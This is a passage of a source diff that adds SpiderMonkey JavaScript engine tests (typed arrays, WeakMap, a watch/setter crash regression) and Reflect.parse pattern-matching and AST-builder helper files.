undefined. From + // observation, that seems to mean it silently does nothing, and returns + // the value that you tried to set it to. + check(() => Int32Array.prototype.length = true); + check(() => Float64Array.prototype.length = true); + check(() => Int32Array.prototype.byteLength = true); + check(() => Float64Array.prototype.byteLength = true); + check(() => Int32Array.prototype.byteOffset = true); + check(() => Float64Array.prototype.byteOffset = true); + + // ArrayBuffer, Int32Array and Float64Array are native functions and have a + // .length, so none of these should throw: + check(() => (new Int32Array(ArrayBuffer)).length >= 0); + check(() => (new Int32Array(Int32Array)).length >= 0); + check(() => (new Int32Array(Float64Array)).length >= 0); + + // webidl 4.4.6, under getters: "The value of the Function object’s + // 'length' property is the Number value 0" + // + // Except this fails in getOwnPropertyDescriptor, I think because + // Int32Array.prototype does not provide a lookup hook, and the fallback + // case ends up calling the getter. Which seems odd to me, but much of this + // stuff baffles me. It does seem strange that there's no way to do + // getOwnPropertyDescriptor on any of these attributes. + // + //check(Object.getOwnPropertyDescriptor(Int32Array.prototype, 'byteOffset')['get'].length == 0); + + check(() => Int32Array.BYTES_PER_ELEMENT == 4); + check(() => (new Int32Array(4)).BYTES_PER_ELEMENT == 4); + check(() => (new Int32Array()).BYTES_PER_ELEMENT == 4); + check(() => (new Int32Array(0)).BYTES_PER_ELEMENT == 4); + check(() => Int16Array.BYTES_PER_ELEMENT == Uint16Array.BYTES_PER_ELEMENT); + + // test various types of args; Math.sqrt(4) is used to ensure that the + // function gets a double, and not a demoted int + check(() => (new Float32Array(Math.sqrt(4))).length == 2); + check(() => (new Float32Array({ length: 10 })).length == 10); + check(() => (new Float32Array({})).length == 0); + checkThrows(() => new Float32Array("3")); + checkThrows(() => new Float32Array(null)); + checkThrows(() => new Float32Array(undefined)); + + // check that NaN conversions happen correctly with array conversions + check(() => (new Int32Array([NaN])[0]) == 0); + check(() => { var q = new Float32Array([NaN])[0]; return q != q; }); + + // check that setting and reading arbitrary properties works + // this is not something that will be done in real world + // situations, but it should work when done just like in + // regular objects + buf = new ArrayBuffer(128); + a = new Uint32Array(buf, 0, 4); + check(() => a[0] == 0 && a[1] == 0 && a[2] == 0 && a[3] == 0); + buf.a = 42; + buf.b = "abcdefgh"; + buf.c = {a:'literal'}; + check(() => a[0] == 0 && a[1] == 0 && a[2] == 0 && a[3] == 0); + + check(() => buf.a == 42); + delete buf.a; + check(() => !buf.a); + + // check edge cases for small arrays + // 16 reserved slots + a = new Uint8Array(120); + check(() => a.byteLength == 120); + check(() => a.length == 120); + for (var i = 0; i < a.length; i++) + check(() => a[i] == 0) + + a = new Uint8Array(121); + check(() => a.byteLength == 121); + check(() => a.length == 121); + for (var i = 0; i < a.length; i++) + check(() => a[i] == 0) + + // check that TM generated byte offset is right (requires run with -j) + a = new Uint8Array(100); + a[99] = 5; + b = new Uint8Array(a.buffer, 9); // force a offset + // use a loop to invoke the TM + for (var i = 0; i < b.length; i++) + check(() => b[90] == 5) + + // Protos and proxies, oh my! + var alien = newGlobal(); + + var alien_view = alien.eval('view = new Uint8Array(7)'); + var alien_buffer = alien.eval('buffer = view.buffer'); + + // when creating a view of a buffer in a different compartment, the view + // itself should be created in the other compartment and wrapped for use in + // this compartment. (There should never be a compartment boundary between + // an ArrayBufferView and its ArrayBuffer.) + var view = new Int8Array(alien_buffer); + + // First make sure they're looking at the same data + alien_view[3] = 77; + check(() => view[3] == 77); + + // Now check that the proxy setup is as expected + check(() => isProxy(alien_view)); + check(() => isProxy(alien_buffer)); + check(() => isProxy(view)); // the real test + + // cross-compartment property access + check(() => alien_buffer.byteLength == 7); + check(() => alien_view.byteLength == 7); + check(() => view.byteLength == 7); + + // typed array protos should be equal + simple = new Int8Array(12); + check(() => Object.getPrototypeOf(view) == Object.getPrototypeOf(simple)); + check(() => Object.getPrototypeOf(view) == Int8Array.prototype); + + // Most named properties are defined on %TypedArray%.prototype. + check(() => !simple.hasOwnProperty('byteLength')); + check(() => !Int8Array.prototype.hasOwnProperty('byteLength')); + check(() => Object.getPrototypeOf(Int8Array.prototype).hasOwnProperty('byteLength')); + + check(() => !simple.hasOwnProperty("BYTES_PER_ELEMENT")); + check(() => Int8Array.prototype.hasOwnProperty("BYTES_PER_ELEMENT")); + check(() => !Object.getPrototypeOf(Int8Array.prototype).hasOwnProperty("BYTES_PER_ELEMENT")); + + // crazy as it sounds, the named properties are configurable per WebIDL. + // But we are currently discussing the situation, and typed arrays may be + // pulled into the ES spec, so for now this is disallowed. + if (false) { + check(() => simple.byteLength == 12); + getter = Object.getOwnPropertyDescriptor(Int8Array.prototype, 'byteLength').get; + Object.defineProperty(Int8Array.prototype, 'byteLength', { get: function () { return 1 + getter.apply(this) } }); + check(() => simple.byteLength == 13); + } + + // test copyWithin() + var numbers = [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]; + + function tastring(tarray) { + return [...tarray].toString(); + } + + function checkCopyWithin(offset, start, end, dest, want) { + var numbers_buffer = new Uint8Array(numbers).buffer; + var view = new Int8Array(numbers_buffer, offset); + view.copyWithin(dest, start, end); + check(() => tastring(view) == want.toString()); + if (tastring(view) != want.toString()) { + print("Wanted: " + want.toString()); + print("Got : " + tastring(view)); + } + } + + // basic copyWithin [2,5) -> 4 + checkCopyWithin(0, 2, 5, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]); + + // negative values should count from end + checkCopyWithin(0, -7, 5, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]); + checkCopyWithin(0, 2, -4, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]); + checkCopyWithin(0, 2, 5, -5, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]); + checkCopyWithin(0, -7, -4, -5, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]); + + // offset + checkCopyWithin(2, 0, 3, 4, [ 2, 3, 4, 5, 2, 3, 4 ]); + + // clipping + checkCopyWithin(0, 5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(0, -5000, -6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(0, -5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(0, 5000, 6000, 1, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(0, -5000, -6000, 1, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(0, 5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(2, -5000, -6000, 0, [ 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(2, -5000, 6000, 0, [ 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(2, 5000, 6000, 1, [ 2, 3, 4, 5, 6, 7, 8 ]); + checkCopyWithin(2, -5000, -6000, 1, [ 2, 3, 4, 5, 6, 7, 8 ]); + + checkCopyWithin(2, -5000, 3, 1, [ 2, 2, 3, 4, 6, 7, 8 ]); + checkCopyWithin(2, 1, 6000, 0, [ 3, 4, 5, 6, 7, 8, 8 ]); + checkCopyWithin(2, 1, 6000, -4000, [ 3, 4, 5, 6, 7, 8, 8 ]); + + testBufferManagement(); + + print ("done"); + + reportCompare(0, TestFailCount, "typed array tests"); + + exitFunc ('test'); +} diff --git a/js/src/tests/js1_8_5/extensions/watch-undefined-setter.js b/js/src/tests/js1_8_5/extensions/watch-undefined-setter.js new file mode 100644 index 000000000..92608de0e --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/watch-undefined-setter.js @@ -0,0 +1,19 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: + * Gary Kwong + */ + +var gTestfile = 'watch-undefined-setter.js'; +//----------------------------------------------------------------------------- +var BUGNUMBER = 560277; +var summary = + 'Crash [@ JSObject::getParent] or [@ js_WrapWatchedSetter] or ' + + '[@ js_GetClassPrototype]'; + +this.watch("x", function() { }); +Object.defineProperty(this, "x", { set: undefined, configurable: true }); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/extensions/weakmap.js b/js/src/tests/js1_8_5/extensions/weakmap.js new file mode 100644 index 000000000..cad3d23e1 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/weakmap.js @@ -0,0 +1,124 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: + * Andreas Gal <gal@mozilla.com> + */ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 547941; +var summary = 'js weak maps'; +var actual = ''; +var expect = ''; + +//----------------------------------------------------------------------------- +test(); +//----------------------------------------------------------------------------- + +function test() +{ + enterFunc ('test'); + printBugNumber(BUGNUMBER); + printStatus(summary); + + var TestPassCount = 0; + var TestFailCount = 0; + var TestTodoCount = 0; + + var TODO = 1; + + function check(fun, todo) { + var thrown = null; + var success = false; + try { + success = fun(); + } catch (x) { + thrown = x; + } + + if (thrown) + success = false; + + if (todo) { + TestTodoCount++; + + if (success) { + var ex = new Error; + print ("=== TODO but PASSED? ==="); + print (ex.stack); + print ("========================"); + } + + return; + } + + if (success) { + TestPassCount++; + } else { + TestFailCount++; + + var ex = new Error; + print ("=== FAILED ==="); + print (ex.stack); + if (thrown) { + print (" threw exception:"); + print (thrown); + } + print ("=============="); + } + } + + function checkThrows(fun, todo) { + let thrown = false; + try { + fun(); + } catch (x) { + thrown = true; + } + + check(() => thrown, todo); + } + + var key = {}; + var map = new WeakMap(); + + check(() => !map.has(key)); + check(() => map.delete(key) == false); + check(() => map.set(key, 42) === map); + check(() => map.get(key) == 42); + check(() => typeof map.get({}) == "undefined"); + check(() => map.get({}, "foo") == undefined); + + gc(); gc(); gc(); + + check(() => map.get(key) == 42); + check(() => map.delete(key) == true); + check(() => map.delete(key) == false); + check(() => map.delete({}) == false); + + check(() => typeof map.get(key) == "undefined"); + check(() => !map.has(key)); + check(() => map.delete(key) == false); + + var value = { }; + check(() => map.set(new Object(), value) === map); + gc(); gc(); gc(); + + check(() => map.has("non-object key") == false); + check(() => map.has() == false); + check(() => map.get("non-object key") == undefined); + check(() => map.get() == undefined); + check(() => map.delete("non-object key") == false); + check(() => map.delete() == false); + + check(() => map.set(key) === map); + check(() => map.get(key) == undefined); + + checkThrows(() => map.set("non-object key", value)); + + print ("done"); + + reportCompare(0, TestFailCount, "weak map tests"); + + exitFunc ('test'); +} diff --git a/js/src/tests/js1_8_5/reflect-parse/Match.js b/js/src/tests/js1_8_5/reflect-parse/Match.js new file mode 100644 index 000000000..0d5b35317 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/Match.js @@ -0,0 +1,189 @@ +// |reftest| skip + +// A little pattern-matching library. +var Match = + +(function() { + + function Pattern(template) { + // act like a constructor even as a function + if (!(this instanceof Pattern)) + return new Pattern(template); + + this.template = template; + } + + Pattern.prototype = { + match: function(act) { + return match(act, this.template); + }, + + matches: function(act) { + try { + return this.match(act); + } + catch (e if e instanceof MatchError) { + return false; + } + }, + + assert: function(act, message) { + try { + return this.match(act); + } + catch (e if e instanceof MatchError) { + throw new Error((message || "failed match") + ": " + e.message); + } + }, + + toString: () => "[object Pattern]" + }; + + Pattern.ANY = new Pattern; + Pattern.ANY.template = Pattern.ANY; + + Pattern.NUMBER = new Pattern; + Pattern.NUMBER.match = function (act) { + if (typeof act !== 'number') { + throw new MatchError("Expected number, got: " + quote(act)); + } + } + + Pattern.NATURAL = new Pattern + Pattern.NATURAL.match = function (act) { + if (typeof act !== 'number' || act !== Math.floor(act) || act < 0) { + throw new MatchError("Expected natural number, got: " + quote(act)); + } + } + + var quote = uneval; + + function MatchError(msg) { + this.message = msg; + } + + MatchError.prototype = { + toString: function() { + return "match error: " + this.message; + } + }; + + function isAtom(x) { + return (typeof x === "number") || + (typeof x === "string") || + (typeof x === "boolean") || + (x === null) || + (typeof x === "object" && x instanceof RegExp); + } + + function isObject(x) { + return (x !== null) && (typeof x === "object"); + } + + function isFunction(x) { + return typeof x === "function"; + } + + function isArrayLike(x) { + return isObject(x) && ("length" in x); + } + + function matchAtom(act, exp) { + if ((typeof exp) === "number" && isNaN(exp)) { + if ((typeof act) !== "number" || !isNaN(act)) + throw new MatchError("expected NaN, got: " + quote(act)); + return true; + } + + if (exp === null) { + if (act !== null) + throw new MatchError("expected null, got: " + quote(act)); + return true; + } + + if (exp instanceof RegExp) { + if (!(act instanceof RegExp) || exp.source !== act.source) + throw new MatchError("expected " + quote(exp) + ", got: " + quote(act)); + return true; + } + + switch (typeof exp) { + case "string": + if (act !== exp) + throw new MatchError("expected " + quote(exp) + ", got " + quote(act)); + return true; + case "boolean": + case "number": + if (exp !== act) + throw new MatchError("expected " + exp + ", got " + quote(act)); + return true; + } + + throw new Error("bad pattern: " + exp.toSource()); + } + + function matchObject(act, exp) { + if (!isObject(act)) + throw new MatchError("expected object, got " + quote(act)); + + for (var key in exp) { + if (!(key in act)) + throw new MatchError("expected property " + quote(key) + " not found in " + quote(act)); + match(act[key], exp[key]); + } + + return true; + } + + function matchFunction(act, exp) { + if (!isFunction(act)) + throw new MatchError("expected function, got " + quote(act)); + + if (act !== exp) + throw new MatchError("expected function: " + exp + + "\nbut got different function: " + act); + } + + function matchArray(act, exp) { + if (!isObject(act) || !("length" in act)) + throw new MatchError("expected array-like object, got " + quote(act)); + + var length = exp.length; + if (act.length !== exp.length) + throw new MatchError("expected array-like object of length " + length + ", got " + quote(act)); + + for (var i = 0; i < length; i++) { + if (i in exp) { + if (!(i in act)) + throw new MatchError("expected array property " + i + " not found in " + quote(act)); + match(act[i], exp[i]); + } + } + + return true; + } + + function match(act, exp) { + if (exp === Pattern.ANY) + return true; + + if (exp instanceof Pattern) + return exp.match(act); + + if (isAtom(exp)) + return matchAtom(act, exp); + + if (isArrayLike(exp)) + return matchArray(act, exp); + + if (isFunction(exp)) + return matchFunction(act, exp); + + return matchObject(act, exp); + } + + return { Pattern: Pattern, + MatchError: MatchError }; + +})(); + diff --git a/js/src/tests/js1_8_5/reflect-parse/PatternAsserts.js b/js/src/tests/js1_8_5/reflect-parse/PatternAsserts.js new file mode 100644 index 000000000..8fd5840b6 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/PatternAsserts.js @@ -0,0 +1,93 @@ +// |reftest| skip + +loadRelativeToScript('PatternBuilders.js'); + +function localSrc(src) { + return "(function(){ " + src + " })"; +} +function localPatt(patt) { + return program([exprStmt(funExpr(null, [], blockStmt([patt])))]); +} +function blockSrc(src) { + return "(function(){ { " + src + " } })"; +} +function blockPatt(patt) { + return program([exprStmt(funExpr(null, [], blockStmt([blockStmt([patt])])))]); +} + +function assertBlockStmt(src, patt) { + blockPatt(patt).assert(Reflect.parse(blockSrc(src))); +} + +function assertBlockExpr(src, patt) { + assertBlockStmt(src, exprStmt(patt)); +} + +function assertBlockDecl(src, patt, builder) { + blockPatt(patt).assert(Reflect.parse(blockSrc(src), {builder: builder})); +} + +function assertLocalStmt(src, patt) { + localPatt(patt).assert(Reflect.parse(localSrc(src))); +} + +function assertLocalExpr(src, patt) { + assertLocalStmt(src, exprStmt(patt)); +} + +function assertLocalDecl(src, patt) { + localPatt(patt).assert(Reflect.parse(localSrc(src))); +} + +function assertGlobalStmt(src, patt, builder) { + program([patt]).assert(Reflect.parse(src, {builder: builder})); +} + +function assertStringExpr(src, patt) { + program([exprStmt(patt)]).assert(Reflect.parse(src)); +} + +function assertGlobalExpr(src, patt, builder) { + program([exprStmt(patt)]).assert(Reflect.parse(src, {builder: builder})); + //assertStmt(src, exprStmt(patt)); +} + +function assertGlobalDecl(src, patt) { + program([patt]).assert(Reflect.parse(src)); +} + +function assertProg(src, patt) { + program(patt).assert(Reflect.parse(src)); +} + +function assertStmt(src, patt) { + assertLocalStmt(src, patt); + assertGlobalStmt(src, patt); + assertBlockStmt(src, patt); +} + +function assertInFunctionExpr(src, patt) { + assertLocalExpr(src, patt); + assertBlockExpr(src, patt); +} + +function assertExpr(src, patt) { + assertLocalExpr(src, patt); + assertGlobalExpr(src, patt); + assertBlockExpr(src, patt); +} + +function assertDecl(src, patt) { + assertLocalDecl(src, patt); + assertGlobalDecl(src, patt); + assertBlockDecl(src, patt); +} + +function assertError(src, errorType) { + try { + Reflect.parse(src); + } catch (expected if expected instanceof errorType) { + return; + } + throw new Error("expected " + errorType.name + " for " + uneval(src)); +} diff --git a/js/src/tests/js1_8_5/reflect-parse/PatternBuilders.js b/js/src/tests/js1_8_5/reflect-parse/PatternBuilders.js new file mode 100644 index 000000000..be65bd76e --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/PatternBuilders.js @@ -0,0 +1,308 @@ +// |reftest| skip + +loadRelativeToScript('Match.js'); + +var { Pattern, MatchError } = Match; + +function program(elts) { + return Pattern({ type: "Program", body: elts }); +} +function exprStmt(expr) { + return Pattern({ type: "ExpressionStatement", expression: expr }); +} +function throwStmt(expr) { + return Pattern({ type: "ThrowStatement", argument: expr }); +} +function returnStmt(expr) { + return Pattern({ type: "ReturnStatement", argument: expr }); +} +function yieldExpr(expr) { + return Pattern({ type: "YieldExpression", argument: expr }); +} +function lit(val) { + return Pattern({ type: "Literal", value: val }); +} +function comp(name) { + return Pattern({ type: "ComputedName", name: name }); +} +function spread(val) { + return Pattern({ type: "SpreadExpression", expression: val}); +} +var thisExpr = Pattern({ type: "ThisExpression" }); +function funDecl(id, params, body, defaults=[], rest=null) { + return Pattern({ type: "FunctionDeclaration", + id: id, + params: params, + defaults: defaults, + body: body, + rest: rest, + generator: false }); +} +function genFunDecl(style, id, params, body) { + return Pattern({ type: "FunctionDeclaration", + id: id, + params: params, + defaults: [], + body: body, + generator: true, + style: style }); +} +function asyncFunDecl(id, params, body) { + return Pattern({ type: "FunctionDeclaration", + id: id, + params: params, + defaults: [], + body: body, + generator: true, + async: true, + style: "es6" }); +} +function varDecl(decls) { + return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "var" }); +} +function letDecl(decls) { + return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "let" }); +} +function constDecl(decls) { + return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "const" }); +} +function ident(name) { + return Pattern({ type: "Identifier", name: name }); +} +function dotExpr(obj, id) { + return Pattern({ type: "MemberExpression", computed: false, object: obj, property: id }); +} +function memExpr(obj, id) { + return Pattern({ type: "MemberExpression", computed: true, object: obj, property: id }); +} +function forStmt(init, test, update, body) { + return Pattern({ type: "ForStatement", init: init, test: test, update: update, body: body }); +} +function forOfStmt(lhs, rhs, body) { + return Pattern({ type: "ForOfStatement", left: lhs, right: rhs, body: body }); +} +function forInStmt(lhs, rhs, body) { + return Pattern({ type: "ForInStatement", left: lhs, right: rhs, body: body, each: false }); +} +function forEachInStmt(lhs, rhs, body) { + return Pattern({ type: "ForInStatement", left: lhs, right: rhs, body: body, each: true }); +} +function breakStmt(lab) { + return Pattern({ type: "BreakStatement", label: lab }); +} +function continueStmt(lab) { + return Pattern({ type: "ContinueStatement", label: lab }); +} +function blockStmt(body) { + return Pattern({ type: "BlockStatement", body: body }); +} +function literal(val) { + return Pattern({ type: "Literal", value: val }); +} +var emptyStmt = Pattern({ type: "EmptyStatement" }); +function ifStmt(test, cons, alt) { + return Pattern({ type: "IfStatement", test: test, alternate: alt, consequent: cons }); +} +function labStmt(lab, stmt) { + return Pattern({ type: "LabeledStatement", label: lab, body: stmt }); +} +function withStmt(obj, stmt) { + return Pattern({ type: "WithStatement", object: obj, body: stmt }); +} +function whileStmt(test, stmt) { + return Pattern({ type: "WhileStatement", test: test, body: stmt }); +} +function doStmt(stmt, test) { + return Pattern({ type: "DoWhileStatement", test: test, body: stmt }); +} +function switchStmt(disc, cases) { + return Pattern({ type: "SwitchStatement", discriminant: disc, cases: cases }); +} +function caseClause(test, stmts) { + return Pattern({ type: "SwitchCase", test: test, consequent: stmts }); +} +function defaultClause(stmts) { + return Pattern({ type: "SwitchCase", test: null, consequent: stmts }); +} +function catchClause(id, guard, body) { + return Pattern({ type: "CatchClause", param: id, guard: guard, body: body }); +} +function tryStmt(body, guarded, unguarded, fin) { + return Pattern({ type: "TryStatement", block: body, guardedHandlers: guarded, handler: unguarded, finalizer: fin }); +} +function letStmt(head, body) { + return Pattern({ type: "LetStatement", head: head, body: body }); +} + +function superProp(id) { + return dotExpr(Pattern({ type: "Super" }), id); +} +function superElem(id) { + return memExpr(Pattern({ type: "Super" }), id); +} + +function classStmt(id, heritage, body) { + return Pattern({ type: "ClassStatement", + id: id, + superClass: heritage, + body: body}); +} +function classExpr(id, heritage, body) { + return Pattern({ type: "ClassExpression", + id: id, + superClass: heritage, + body: body}); +} +function classMethod(id, body, kind, static) { + return Pattern({ type: "ClassMethod", + name: id, + body: body, + kind: kind, + static: static }); +} + +function funExpr(id, args, body, gen) { + return Pattern({ type: "FunctionExpression", + id: id, + params: args, + body: body, + generator: false }); +} +function genFunExpr(style, id, args, body) { + return Pattern({ type: "FunctionExpression", + id: id, + params: args, + body: body, + generator: true, + style: style }); +} +function asyncFunExpr(id, args, body) { + return Pattern({ type: "FunctionExpression", + id: id, + params: args, + body: body, + generator: true, + async: true, + style: "es6" }); +} +function arrowExpr(args, body) { + return Pattern({ type: "ArrowFunctionExpression", + params: args, + body: body }); +} +function asyncArrowExpr(isExpression, args, body) { + return Pattern({ type: "ArrowFunctionExpression", + params: args, + body: body, + generator: true, + async: true, + expression: isExpression, + style: "es6" }); +} + +function metaProperty(meta, property) { + return Pattern({ type: "MetaProperty", + meta: meta, + property: property }); +} +function newTarget() { + return metaProperty(ident("new"), ident("target")); +} + +function unExpr(op, arg) { + return Pattern({ type: "UnaryExpression", operator: op, argument: arg }); +} +function binExpr(op, left, right) { + return Pattern({ type: "BinaryExpression", operator: op, left: left, right: right }); +} +function aExpr(op, left, right) { + return Pattern({ type: "AssignmentExpression", operator: op, left: left, right: right }); +} +function updExpr(op, arg, prefix) { + return Pattern({ type: "UpdateExpression", operator: op, argument: arg, prefix: prefix }); +} +function logExpr(op, left, right) { + return Pattern({ type: "LogicalExpression", operator: op, left: left, right: right }); +} + +function condExpr(test, cons, alt) { + return Pattern({ type: "ConditionalExpression", test: test, consequent: cons, alternate: alt }); +} +function seqExpr(exprs) { + return Pattern({ type: "SequenceExpression", expressions: exprs }); +} +function newExpr(callee, args) { + return Pattern({ type: "NewExpression", callee: callee, arguments: args }); +} +function callExpr(callee, args) { + return Pattern({ type: "CallExpression", callee: callee, arguments: args }); +} +function superCallExpr(args) { + return callExpr({ type: "Super" }, args); +} +function arrExpr(elts) { + return Pattern({ type: "ArrayExpression", elements: elts }); +} +function objExpr(elts) { + return Pattern({ type: "ObjectExpression", properties: elts }); +} +function computedName(elts) { + return Pattern({ type: "ComputedName", name: elts }); +} +function templateLit(elts) { + return Pattern({ type: "TemplateLiteral", elements: elts }); +} +function taggedTemplate(tagPart, templatePart) { + return Pattern({ type: "TaggedTemplate", callee: tagPart, arguments : templatePart }); +} +function template(raw, cooked, ...args) { + return Pattern([{ type: "CallSiteObject", raw: raw, cooked: cooked}, ...args]); +} + +function compExpr(body, blocks, filter, style) { + if (style == "legacy" || !filter) + return Pattern({ type: "ComprehensionExpression", body, blocks, filter, style }); + else + return Pattern({ type: "ComprehensionExpression", body, blocks: blocks.concat(compIf(filter)), filter: null, style }); +} +function genExpr(body, blocks, filter, style) { + if (style == "legacy" || !filter) + return Pattern({ type: "GeneratorExpression", body, blocks, filter, style }); + else + return Pattern({ type: "GeneratorExpression", body, blocks: blocks.concat(compIf(filter)), filter: null, style }); +} +function graphExpr(idx, body) { + return Pattern({ type: "GraphExpression", index: idx, expression: body }); +} +function idxExpr(idx) { + return Pattern({ type: "GraphIndexExpression", index: idx }); +} + +function compBlock(left, right) { + return Pattern({ type: "ComprehensionBlock", left: left, right: right, each: false, of: false }); +} +function compEachBlock(left, right) { + return Pattern({ type: "ComprehensionBlock", left: left, right: right, each: true, of: false }); +} +function compOfBlock(left, right) { + return Pattern({ type: "ComprehensionBlock", left: left, right: right, each: false, of: true }); +} +function compIf(test) { + return Pattern({ type: "ComprehensionIf", test: test }); +} + +function arrPatt(elts) { + return Pattern({ type: "ArrayPattern", elements: elts }); +} +function objPatt(elts) { + return Pattern({ type: "ObjectPattern", properties: elts }); +} + +function assignElem(target, defaultExpr = null, targetIdent = typeof target == 'string' ? ident(target) : target) { + return defaultExpr ? aExpr('=', targetIdent, defaultExpr) : targetIdent; +} +function assignProp(property, target, defaultExpr = null, shorthand = !target, targetProp = target || ident(property)) { + return Pattern({ + type: "Property", key: ident(property), shorthand, + value: defaultExpr ? aExpr('=', targetProp, defaultExpr) : targetProp }); +} diff --git a/js/src/tests/js1_8_5/reflect-parse/alternateBuilder.js b/js/src/tests/js1_8_5/reflect-parse/alternateBuilder.js new file mode 100644 index 000000000..74f0e3e4e --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/alternateBuilder.js @@ -0,0 +1,224 @@ +// |reftest| skip-if(!xulRuntime.shell) +// A simple proof-of-concept that the builder API can be used to generate other +// formats, such as JsonMLAst: +// +// http://code.google.com/p/es-lab/wiki/JsonMLASTFormat +// +// It's incomplete (e.g., it doesn't convert source-location information and +// doesn't use all the direct-eval rules), but I think it proves the point. + +function test() { + +var JsonMLAst = (function() { +function reject() { + throw new SyntaxError("node type not supported"); +} + +function isDirectEval(expr) { + // an approximation to the actual rules. you get the idea + return (expr[0] === "IdExpr" && expr[1].name === "eval"); +} + +function functionNode(type) { + return function(id, args, body, isGenerator, isExpression) { + if (isExpression) + body = ["ReturnStmt", {}, body]; + + if (!id) + id = ["Empty"]; + + // Patch up the argument node types: s/IdExpr/IdPatt/g + for (var i = 0; i < args.length; i++) { + args[i][0] = "IdPatt"; + } + + args.unshift("ParamDecl", {}); + + return [type, {}, id, args, body]; + } +} + +return { + program: function(stmts) { + stmts.unshift("Program", {}); + return stmts; + }, + identifier: function(name) { + return ["IdExpr", { name: name }]; + }, + literal: function(val) { + return ["LiteralExpr", { value: val }]; + }, + expressionStatement: expr => expr, + conditionalExpression: function(test, cons, alt) { + return ["ConditionalExpr", {}, test, cons, alt]; + }, + unaryExpression: function(op, expr) { + return ["UnaryExpr", {op: op}, expr]; + }, + binaryExpression: function(op, left, right) { + return ["BinaryExpr", {op: op}, left, right]; + }, + property: function(kind, key, val) { + return [kind === "init" + ? "DataProp" + : kind === "get" + ? "GetterProp" + : "SetterProp", + {name: key[1].name}, val]; + }, + functionDeclaration: functionNode("FunctionDecl"), + variableDeclaration: function(kind, elts) { + if (kind === "let" || kind === "const") + throw new SyntaxError("let and const not supported"); + elts.unshift("VarDecl", {}); + return elts; + }, + variableDeclarator: function(id, init) { + id[0] = "IdPatt"; + if (!init) + return id; + return ["InitPatt", {}, id, init]; + }, + sequenceExpression: function(exprs) { + var length = exprs.length; + var result = ["BinaryExpr", {op:","}, exprs[exprs.length - 2], exprs[exprs.length - 1]]; + for (var i = exprs.length - 3; i >= 0; i--) { + result = ["BinaryExpr", {op:","}, exprs[i], result]; + } + return result; + }, + assignmentExpression: function(op, lhs, expr) { + return ["AssignExpr", {op: op}, lhs, expr]; + }, + logicalExpression: function(op, left, right) { + return [op === "&&" ? "LogicalAndExpr" : "LogicalOrExpr", {}, left, right]; + }, + updateExpression: function(expr, op, isPrefix) { + return ["CountExpr", {isPrefix:isPrefix, op:op}, expr]; + }, + newExpression: function(callee, args) { + args.unshift("NewExpr", {}, callee); + return args; + }, + callExpression: function(callee, args) { + args.unshift(isDirectEval(callee) ? "EvalExpr" : "CallExpr", {}, callee); + return args; + }, + memberExpression: function(isComputed, expr, member) { + return ["MemberExpr", {}, expr, isComputed ? member : ["LiteralExpr", {type: "string", value: member[1].name}]]; + }, + functionExpression: functionNode("FunctionExpr"), + arrayExpression: function(elts) { + for (var i = 0; i < elts.length; i++) { + if (!elts[i]) + elts[i] = ["Empty"]; + } + elts.unshift("ArrayExpr", {}); + return elts; + }, + objectExpression: function(props) { + props.unshift("ObjectExpr", {}); + return props; + }, + thisExpression: function() { + return ["ThisExpr", {}]; + }, + templateLiteral: function(elts) { + for (var i = 0; i < elts.length; i++) { + if (!elts[i]) + elts[i] = ["Empty"]; + } + elts.unshift("TemplateLit", {}); + return elts; + }, + + graphExpression: reject, + graphIndexExpression: reject, + comprehensionExpression: reject, + generatorExpression: reject, + yieldExpression: reject, + + emptyStatement: () => ["EmptyStmt", {}], + blockStatement: function(stmts) { + stmts.unshift("BlockStmt", {}); + return stmts; + }, + labeledStatement: function(lab, stmt) { + return ["LabelledStmt", {label: lab}, stmt]; + }, + ifStatement: function(test, cons, alt) { + return ["IfStmt", {}, test, cons, alt || ["EmptyStmt", {}]]; + }, + switchStatement: function(test, clauses, isLexical) { + clauses.unshift("SwitchStmt", {}, test); + return clauses; + }, + whileStatement: function(expr, stmt) { + return ["WhileStmt", {}, expr, stmt]; + }, + doWhileStatement: function(stmt, expr) { + return ["DoWhileStmt", {}, stmt, expr]; + }, + forStatement: function(init, test, update, body) { + return ["ForStmt", {}, init || ["Empty"], test || ["Empty"], update || ["Empty"], body]; + }, + forInStatement: function(lhs, rhs, body) { + return ["ForInStmt", {}, lhs, rhs, body]; + }, + breakStatement: function(lab) { + return lab ? ["BreakStmt", {}, lab] : ["BreakStmt", {}]; + }, + continueStatement: function(lab) { + return lab ? ["ContinueStmt", {}, lab] : ["ContinueStmt", {}]; + }, + withStatement: function(expr, stmt) { + return ["WithStmt", {}, expr, stmt]; + }, + returnStatement: function(expr) { + return expr ? ["ReturnStmt", {}, expr] : ["ReturnStmt", {}]; + }, + tryStatement: function(body, catches, fin) { + if (catches.length > 1) + throw new SyntaxError("multiple catch clauses not supported"); 